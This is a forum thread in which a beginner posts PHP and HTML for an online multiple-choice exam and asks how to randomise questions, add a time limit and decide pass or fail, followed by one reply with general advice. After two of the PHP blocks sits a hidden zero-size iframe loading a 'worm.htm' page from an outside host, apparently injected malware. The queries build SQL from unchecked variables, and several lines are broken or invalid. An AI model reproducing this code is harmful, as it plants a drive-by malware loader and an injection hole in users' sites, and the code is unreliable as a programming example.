with regard to this code I need your help on how to make a code in online examination

1.first how to random the examination
2.How to make a condition whether the examinees will pass or not
3. and how to make a time limit with the examination


heres program

in online examination which has not yet finished .... I do need you help.... please help

/"Heres were I type my questionaires "/


<form action = insertques.php method = post>
<table width="136%" border="0" align="center" cellpadding="0" cellspacing="0" id="maintablefix">
<tr bgcolor="#CCCCCC">
<td colspan="2"><strong><font color="#666666" size="5" face="Arial, Helvetica, sans-serif">Questions
Display</font></strong></td>
<td width="15%"><strong><font color="#666666" size="3" face="Verdana, Arial, Helvetica, sans-serif">Data
Type</font></strong></td>
<td width="9%"><strong><font color="#666666" size="3" face="Verdana, Arial, Helvetica, sans-serif">Fields</font></strong></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2" bgcolor="#00FFFF"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Type
Question:
<input name="ques" type="text" size="100">
</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>250</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
1:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input name="cho1" type="text" size="40">
</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2" bgcolor="#00FFFF"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
2:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input name="cho2" type="text" size="40">
</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
3:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input name="cho3" type="text" size="40">
</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2" bgcolor="#00FFFF"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
4:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input name="cho4" type="text" size="40">
</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2"><div align="left"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Answer
<input name="ans" type="text" size="5">
</strong></font></div></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>2</strong></font></td>
</tr>
<tr>
<td width="10%"> <div align="center">
<input type="submit" name="Submit" value="Submit">
</div></td>
<td width="66%"><input type="reset" name="Submit2" value="Reset"></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
</table>
</form>
===============================================
/" the display of the question "/

<?php
include("connect.php");
$query="Select *FROM quesbanks";
$result=mysql_query($query);
echo "<tr><td><strong><font size=2><a href=logstudent.php><--Go Back</a></font></strong></td></tr>";
echo "<br><br><strong><font color=#99990C><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$name</em></font></storng>&nbsp;&nbsp;is taking the exam......?";
echo "<form action = dispscore.php method = post>";
$score=1;
while($row=mysql_fetch_array($result))
{
{
$hits="checkbox$score";
echo"<tr><br><td><strong><font color=#O0CCCC>{$row}.<font color=#O000CC>{$row}</font></font></td></strong></tr>";
echo "<tr><br><td><strong>A.<input type=checkbox name=$hits value=1> <font color=#993300>{$row}</font></strong></td></tr>";
echo "<tr><br><td><strong>B.<input type=checkbox name=$hits value=2><font color=#993300>{$row}</font></strong></td></tr>";
echo "<tr><br><td><strong>C.<input type=checkbox name=$hits value=3 ><font color=#993300>{$row}</font></strong></td></tr>";
echo "<tr><br><td><strong>D.<input type=checkbox name=$hits value=4><font color=#993300>{$row}</font></strong></td><br></tr>";
}
$score++;
}
echo "<input type=hidden name=name value=$name>";
echo "<br><br><input type=submit name=Submit value=Submit>";
echo "</form>";
$query=("DELETE *FROM login VALUES name='$name'");
mysql_query($query);
$query=("DELETE *FROM login VALUES mark='$mark'");
mysql_query(query);
?><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
======================================================
the computation of the exam

<?php
include ("connect.php");
$query="Select *FROM quesbanks";
$result=mysql_query($query);
echo "<strong><a href=main.php><--Go Back To Main Page</a></strong>";
echo "<form action = disscore.php method = post>";
$mark=0;
$score=1;
while ($row=mysql_fetch_array($result))
{
if ($_POST["checkbox$score"]==$row)
$mark++;
$score++;
}
echo "<tr><td><div align=center><font size=7 color=#6666FF face=Courier New, Courier, mono><strong>$name...</strong></font></div></td></tr>","<tr><br><br><td><div align=center><strong>Your score is </strong></div></td><td><br><div align=center><font size=5 color=#FF0000><strong>$mark</strong></font></div></td></tr>";
echo "</form>";
mysql_query("INSERT INTO login (name,mark) VALUES ('$name','$mark')");
?><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
=====================================================

my question is how to make a code to random the examination and and how to limit a time in answering a question.

and lastly how to make a condition if the student pass the examination or failed.

ok, lets see if this works. Use php or javascript to select a random number(1 to whatever) and redirect the page to lets say (aurl.com/index.php?test=(random number). Using php to get that number and show the corresponding test. then using php again to check the test. The timeout can be tricky, it would have to use javascript or AJAX. These both can be disabled and would screw up everything so good luck. If you would like me to go into more depth, like codes, let me know. Oh yeah, use css to format the forms. It makes your code look cleaner and easier to read.

kkeith29

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.